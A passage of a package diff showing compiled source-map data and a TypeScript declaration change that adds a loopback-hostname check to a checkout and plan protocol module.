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"}

package/dist/protocol.d.ts

@@ -274,6 +274,8 @@ export declare const followedUpSinceProposal: (state: Checkout.State) => boolean
  * machine's loopback interface. The browser opens it, so nothing else passes.
  */
 export declare const parsePreviewUrl: (value: string | undefined) => URL | undefined;
+/** True for a hostname that names this machine. */
+export declare const isLoopbackHostname: (hostname: string) => boolean;
 export declare const openInputs: (state: Checkout.State) => Checkout.Input[];
 /** The current plan revision, or `undefined` before the agent proposed one. */
 export declare const currentPlan: (state: Checkout.State) => Checkout.Plan | undefined;

package/dist/protocol.d.ts.map

@@ -1 +1 @@
-{"version":3,"file":"protocol.d.ts","sourceRoot":"","sources":["../src/protocol.ts"],"names":[],"mappings":"AAAA,yBAAiB,QAAQ,CAAC;IACxB,KAAY,UAAU,GAClB,SAAS,GACT,QAAQ,GACR,MAAM,GACN,SAAS,GACT,SAAS,CAAC;IAEd,yEAAyE;IACzE,KAAY,IAAI,GAAG;QACjB,EAAE,EAAE,MAAM,CAAC;QACX,KAAK,EAAE,MAAM,CAAC;QACd,MAAM,CAAC,EAAE,MAAM,CAAC;QAChB,MAAM,EAAE,UAAU,CAAC;QACnB,IAAI,CAAC,EAAE,MAAM,CAAC;QACd,6DAA6D;QAC7D,OAAO,CAAC,EAAE,MAAM,CAAC;QACjB,SAAS,EAAE,MAAM,CAAC;KACnB,CAAC;IAEF,KAAY,OAAO,GAAG;QACpB,IAAI,EAAE,MAAM,CAAC;QACb,IAAI,EAAE,MAAM,CAAC;QACb,8DAA8D;QAC9D,KAAK,CAAC,EAAE,MAAM,CAAC;KAChB,CAAC;IAEF,KAAY,WAAW,GAAG,MAAM,GAAG,UAAU,GAAG,WAAW,CAAC;IAE5D;;;;OAIG;IACH,KAAY,SAAS,GACjB,MAAM,GACN,QAAQ,GACR,OAAO,GACP,SAAS,GACT,aAAa,CAAC;IAElB,KAAY,UAAU,GAAG;QACvB,UAAU,EAAE,OAAO,GAAG,SAAS,GAAG,WAAW,CAAC;QAC9C,SAAS,EAAE,MAAM,CAAC;QAClB,OAAO,EAAE,MAAM,CAAC;QAChB,WAAW,CAAC,EAAE,OAAO,CAAC;KACvB,CAAC;IAEF,KAAY,gBAAgB,GAAG;QAC7B,EAAE,EAAE,MAAM,CAAC;QACX,KAAK,EAAE,MAAM,CAAC;QACd,WAAW,EAAE,MAAM,CAAC;QACpB,UAAU,EAAE,UAAU,CAAC;KACxB,CAAC;IAEF,KAAY,aAAa,GAAG;QAAE,EAAE,EAAE,MAAM,CAAC;QAAC,KAAK,EAAE,MAAM,CAAA;KAAE,CAAC;IAE1D,KAAY,YAAY,GAAG;QACzB,EAAE,EAAE,MAAM,CAAC;QACX,KAAK,EAAE,MAAM,CAAC;QACd,WAAW,CAAC,EAAE,MAAM,CAAC;QACrB,gHAAgH;QAChH,IAAI,CAAC,EAAE,MAAM,CAAC;QACd,4EAA4E;QAC5E,QAAQ,CAAC,EAAE,aAAa,EAAE,CAAC;QAC3B,UAAU,CAAC,EAAE,UAAU,CAAC;KACzB,CAAC;IAEF,sFAAsF;IACtF,KAAY,SAAS,GAAG;QAAE,OAAO,EAAE,MAAM,CAAC;QAAC,IAAI,CAAC,EAAE,MAAM,CAAA;KAAE,CAAC;IAE3D;;;;OAIG;IACH,KAAY,WAAW,GAAG;QACxB,QAAQ,EAAE,MAAM,CAAC;QACjB,KAAK,EAAE,MAAM,CAAC;QACd,eAAe,CAAC,EAAE,KAAK,GAAG,QAAQ,GAAG,MAAM,CAAC;KAC7C,CAAC;IAEF;;;;;OAKG;IACH,KAAY,KAAK,GAAG;QAClB,KAAK,EAAE,MAAM,CAAC;QACd,EAAE,EAAE,MAAM,CAAC;QACX,IAAI,EAAE,SAAS,CAAC;QAChB,2DAA2D;QAC3D,MAAM,CAAC,EAAE,MAAM,CAAC;QAChB,MAAM,EAAE,MAAM,CAAC;QACf,WAAW,CAAC,EAAE,MAAM,CAAC;QACrB,OAAO,CAAC,EAAE,YAAY,EAAE,CAAC;QACzB,2EAA2E;QAC3E,QAAQ,CAAC,EAAE,IAAI,CAAC;QAChB,yCAAyC;QACzC,OAAO,CAAC,EAAE,MAAM,CAAC;QACjB,OAAO,CAAC,EAAE,MAAM,CAAC;QACjB,IAAI,CAAC,EAAE,SAAS,CAAC;QACjB,aAAa,CAAC,EAAE,MAAM,CAAC;QACvB,QAAQ,EAAE,OAAO,CAAC;QAClB,MAAM,EAAE,WAAW,CAAC;QACpB,MAAM,CAAC,EAAE,MAAM,CAAC;QAChB,gDAAgD;QAChD,IAAI,CAAC,EAAE,MAAM,CAAC;QACd,MAAM,CAAC,EAAE,MAAM,CAAC;QAChB,SAAS,EAAE,MAAM,CAAC;QAClB,UAAU,CAAC,EAAE,MAAM,CAAC;KACrB,CAAC;IAEF,KAAY,QAAQ,GAAG;QACrB,KAAK,EAAE,MAAM,CAAC;QACd,EAAE,EAAE,MAAM,CAAC;QACX,IAAI,EAAE,OAAO,GAAG,MAAM,CAAC;QACvB,cAAc,CAAC,EAAE,MAAM,CAAC;QACxB,EAAE,EAAE,MAAM,CAAC;QACX,IAAI,EAAE,MAAM,CAAC;QACb,8EAA8E;QAC9E,MAAM,CAAC,EAAE,MAAM,CAAC;KACjB,CAAC;IAEF,KAAY,UAAU,GAAG,UAAU,GAAG,UAAU,GAAG,mBAAmB,CAAC;IAEvE,sEAAsE;IACtE,KAAY,IAAI,GAAG;QACjB,QAAQ,EAAE,MAAM,CAAC;QACjB,QAAQ,EAAE,MAAM,CAAC;QACjB,MAAM,EAAE,UAAU,CAAC;QACnB,WAAW,EAAE,MAAM,CAAC;QACpB,SAAS,CAAC,EAAE,MAAM,CAAC;QACnB,oDAAoD;QACpD,QAAQ,CAAC,EAAE,MAAM,CAAC;KACnB,CAAC;IAEF;;;OAGG;IACH,KAAY,MAAM,GACd,SAAS,GACT,UAAU,GACV,YAAY,GACZ,MAAM,GACN,WAAW,CAAC;IAEhB;;;;;OAKG;IACH,KAAY,UAAU,GAAG;QAAE,UAAU,EAAE,MAAM,CAAC;QAAC,OAAO,CAAC,EAAE,MAAM,CAAA;KAAE,CAAC;IAElE,KAAY,KAAK,GAAG;QAClB,OAAO,EAAE,CAAC,CAAC;QACX,2GAA2G;QAC3G,EAAE,EAAE,MAAM,GAAG,IAAI,CAAC;QAClB,MAAM,EAAE,MAAM,CAAC;QACf,UAAU,CAAC,EAAE,UAAU,CAAC;QACxB,SAAS,EAAE,MAAM,GAAG,IAAI,CAAC;QACzB,QAAQ,EAAE,OAAO,EAAE,CAAC;QACpB,YAAY,EAAE,MAAM,CAAC;QACrB,KAAK,EAAE;YACL,UAAU,EAAE,MAAM,GAAG,IAAI,CAAC;YAC1B,2EAA2E;YAC3E,SAAS,EAAE,OAAO,CAAC;YACnB,GAAG,EAAE,MAAM,GAAG,IAAI,CAAC;YACnB,0FAA0F;YAC1F,IAAI,EAAE,MAAM,GAAG,IAAI,CAAC;YACpB,gGAAgG;YAChG,YAAY,EAAE,MAAM,GAAG,IAAI,CAAC;SAC7B,CAAC;QACF,wDAAwD;QACxD,KAAK,EAAE,IAAI,EAAE,CAAC;QACd,KAAK,EAAE,IAAI,EAAE,CAAC;QACd,MAAM,EAAE,KAAK,EAAE,CAAC;QAChB,GAAG,EAAE,QAAQ,EAAE,CAAC;KACjB,CAAC;IAEF,KAAY,WAAW,GAAG;QAAE,IAAI,EAAE,MAAM,CAAC;QAAC,IAAI,EAAE,MAAM,CAAC;QAAC,KAAK,CAAC,EAAE,MAAM,CAAA;KAAE,CAAC;IAEzE,KAAY,SAAS,GAAG;QACtB,IAAI,CAAC,EAAE,SAAS,CAAC;QACjB,MAAM,CAAC,EAAE,MAAM,CAAC;QAChB,MAAM,EAAE,MAAM,CAAC;QACf,WAAW,CAAC,EAAE,MAAM,CAAC;QACrB,OAAO,CAAC,EAAE,YAAY,EAAE,CAAC;QACzB,QAAQ,CAAC,EAAE,IAAI,CAAC;QAChB,OAAO,CAAC,EAAE,MAAM,CAAC;QACjB,OAAO,CAAC,EAAE,MAAM,CAAC;QACjB,IAAI,CAAC,EAAE,SAAS,CAAC;QACjB,aAAa,CAAC,EAAE,MAAM,CAAC;QACvB,QAAQ,CAAC,EAAE,OAAO,CAAC;KACpB,CAAC;IAEF,KAAY,YAAY,GAAG;QACzB,iEAAiE;QACjE,EAAE,CAAC,EAAE,MAAM,CAAC;QACZ,yEAAyE;QACzE,QAAQ,CAAC,EAAE,MAAM,CAAC;KACnB,GAAG,CAAC;QAAE,QAAQ,EAAE,SAAS,CAAA;KAAE,GAAG;QAAE,QAAQ,EAAE,QAAQ,CAAC;QAAC,QAAQ,EAAE,MAAM,CAAA;KAAE,CAAC,CAAC;IAEzE,KAAY,QAAQ,GAAG;QACrB,iBAAiB,EAAE,CAAC,MAAM,EAAE;YAC1B,EAAE,EAAE,MAAM,CAAC;YACX,QAAQ,EAAE,WAAW,EAAE,CAAC;YACxB,YAAY,CAAC,EAAE,MAAM,CAAC;SACvB,KAAK,IAAI,CAAC;QACX,qBAAqB,EAAE,MAAM,IAAI,CAAC;QAClC,iBAAiB,EAAE,CAAC,MAAM,EAAE;YAC1B,OAAO,EAAE,MAAM,CAAC;YAChB,MAAM,EAAE,MAAM,CAAC;YACf,IAAI,CAAC,EAAE,MAAM,CAAC;SACf,KAAK,IAAI,CAAC;QACX,sBAAsB,EAAE,CAAC,MAAM,EAAE;YAC/B,OAAO,EAAE,MAAM,CAAC;YAChB,OAAO,EAAE,WAAW,CAAC;SACtB,KAAK,IAAI,CAAC;QACX,kBAAkB,EAAE,CAAC,MAAM,EAAE;YAAE,IAAI,EAAE,MAAM,CAAA;SAAE,KAAK,IAAI,CAAC;QACvD,WAAW,EAAE,CAAC,MAAM,EAAE;YAAE,SAAS,EAAE,MAAM,CAAA;SAAE,KAAK,IAAI,CAAC;QACrD,kBAAkB,EAAE,CAAC,MAAM,EAAE;YAAE,OAAO,EAAE,MAAM,CAAA;SAAE,KAAK,IAAI,CAAC;QAC1D,eAAe,EAAE,CAAC,MAAM,EAAE,YAAY,KAAK,IAAI,CAAC;QAChD,4EAA4E;QAC5E,iBAAiB,EAAE,CAAC,MAAM,CAAC,EAAE;YAAE,EAAE,CAAC,EAAE,MAAM,CAAA;SAAE,KAAK,IAAI,CAAC;QACtD,iBAAiB,EAAE,MAAM,IAAI,CAAC;QAC9B,aAAa,EAAE,CAAC,MAAM,EAAE;YAAE,IAAI,CAAC,EAAE,MAAM,CAAA;SAAE,KAAK,IAAI,CAAC;QACnD,aAAa,EAAE,CAAC,MAAM,EAAE;YAAE,GAAG,CAAC,EAAE,MAAM,CAAC;YAAC,IAAI,CAAC,EAAE,MAAM,CAAA;SAAE,KAAK,IAAI,CAAC;QACjE,iBAAiB,EAAE,MAAM,IAAI,CAAC;QAC9B,WAAW,EAAE,MAAM,IAAI,CAAC;QACxB,YAAY,EAAE,CAAC,MAAM,EAAE;YAAE,QAAQ,EAAE,MAAM,CAAA;SAAE,KAAK;YAAE,QAAQ,EAAE,MAAM,CAAA;SAAE,CAAC;QACrE,gBAAgB,EAAE,CAAC,MAAM,EAAE;YACzB,KAAK,EAAE,MAAM,CAAC;YACd,MAAM,CAAC,EAAE,MAAM,CAAC;YAChB,OAAO,CAAC,EAAE,MAAM,CAAC;YACjB,uCAAuC;YACvC,MAAM,CAAC,EAAE,OAAO,CAAC;SAClB,KAAK;YAAE,MAAM,EAAE,MAAM,CAAA;SAAE,CAAC;QACzB,YAAY,EAAE,CAAC,MAAM,EAAE;YACrB,MAAM,EAAE,MAAM,CAAC;YACf,MAAM,EAAE,UAAU,CAAC;YACnB,IAAI,CAAC,EAAE,MAAM,CAAC;SACf,KAAK,IAAI,CAAC;QACX,WAAW,EAAE,CAAC,MAAM,EAAE,SAAS,GAAG;YAAE,MAAM,CAAC,EAAE,MAAM,CAAA;SAAE,KAAK;YACxD,OAAO,EAAE,MAAM,CAAC;SACjB,CAAC;QACF,WAAW,EAAE,CAAC,MAAM,EAAE;YAAE,IAAI,EAAE,MAAM,CAAA;SAAE,KAAK,IAAI,CAAC;QAChD,YAAY,EAAE,CAAC,MAAM,CAAC,EAAE;YAAE,OAAO,CAAC,EAAE,MAAM,CAAC;YAAC,OAAO,CAAC,EAAE,MAAM,CAAA;SAAE,KAAK,IAAI,CAAC;KACzE,CAAC;IAEF,KAAY,eAAe,GACvB,iBAAiB,GACjB,aAAa,GACb,QAAQ,GACR,sBAAsB,GACtB,eAAe,GACf,SAAS,GACT,cAAc,GACd,YAAY,GACZ,qBAAqB,GACrB,mBAAmB,GACnB,YAAY,GACZ,cAAc,GACd,iBAAiB,GACjB,eAAe,GACf,cAAc,GACd,eAAe,GACf,gBAAgB,GAChB,iBAAiB,GACjB,eAAe,GACf,iBAAiB,CAAC;CACvB;AAED,eAAO,MAAM,iBAAiB,QAAS,CAAC;AACxC,eAAO,MAAM,kBAAkB,OAAQ,CAAC;AAExC,eAAO,MAAM,oBAAoB,QAAO,QAAQ,CAAC,KAkB/C,CAAC;AAEH,eAAO,MAAM,cAAc,GAAI,OAAO,QAAQ,CAAC,KAAK,EAAE,YAAgB,YAGpB,CAAC;AAEnD,eAAO,MAAM,QAAQ,GAAI,OAAO,QAAQ,CAAC,KAAK,YACW,CAAC;AAE1D,mEAAmE;AACnE,eAAO,MAAM,cAAc,GAAI,OAAO,QAAQ,CAAC,KAAK,YACA,CAAC;AAErD,sGAAsG;AACtG,eAAO,MAAM,uBAAuB,GAAI,OAAO,QAAQ,CAAC,KAAK,YAW5D,CAAC;AAIF;;;GAGG;AACH,eAAO,MAAM,eAAe,GAAI,OAAO,MAAM,GAAG,SAAS,oBAaxD,CAAC;AAEF,eAAO,MAAM,UAAU,GAAI,OAAO,QAAQ,CAAC,KAAK,qBACS,CAAC;AAE1D,+EAA+E;AAC/E,eAAO,MAAM,WAAW,GAAI,OAAO,QAAQ,CAAC,KAAK,KAAG,QAAQ,CAAC,IAAI,GAAG,SAChD,CAAC;AAErB,gEAAgE;AAChE,eAAO,MAAM,eAAe,GAAI,OAAO,QAAQ,CAAC,KAAK,YACU,CAAC;AAEhE,8DAA8D;AAC9D,eAAO,MAAM,YAAY,+aA4Cf,CAAC;AAEX,MAAM,MAAM,UAAU,GAAG,CAAC,OAAO,YAAY,CAAC,CAAC,MAAM,CAAC,CAAC;AAEvD,eAAO,MAAM,YAAY,GAAI,OAAO,MAAM,KAAG,KAAK,IAAI,UACD,CAAC;AAEtD,eAAO,MAAM,iBAAiB,GAAI,QAAQ,MAAM;;;CAK/C,CAAC;AAEF,4GAA4G;AAC5G,eAAO,MAAM,mBAAmB,GAAI,QAAQ,MAAM,KAAG,MAAM,EAAE,GAAG,SAW/D,CAAC;AAEF,KAAK,gBAAgB,GAAG,QAAQ,GAAG,QAAQ,GAAG,SAAS,CAAC;AAiBxD;;;;;;GAMG;AACH,eAAO,MAAM,oBAAoB,GAC/B,OAAO,QAAQ,CAAC,KAAK,EACrB,QAAQ,MAAM,KACb,gBAOF,CAAC;AAKF,eAAO,MAAM,sBAAsB,GACjC,OAAO,OAAO,KACb,QAAQ,CAAC,gBAAgB,EAAE,GAAG,SA6ChC,CAAC;AAEF,eAAO,MAAM,sBAAsB,GAAI,OAAO,QAAQ,CAAC,SAAS,YAW/D,CAAC;AAEF,eAAO,MAAM,uBAAuB,GAClC,OAAO,QAAQ,CAAC,KAAK,EACrB,QAAQ,MAAM,YACmD,CAAC;AASpE,gFAAgF;AAChF,eAAO,MAAM,gBAAgB,GAC3B,QAAQ,MAAM,KACb,QAAQ,CAAC,WAAW,GAAG,SAoBzB,CAAC;AAEF,8EAA8E;AAC9E,eAAO,MAAM,kBAAkB,GAAI,OAAO,QAAQ,CAAC,KAAK,EAAE,QAAQ,MAAM,YAMvE,CAAC;AAEF,eAAO,MAAM,YAAY,GAAI,OAAO,QAAQ,CAAC,KAAK;;;CAKhD,CAAC"}
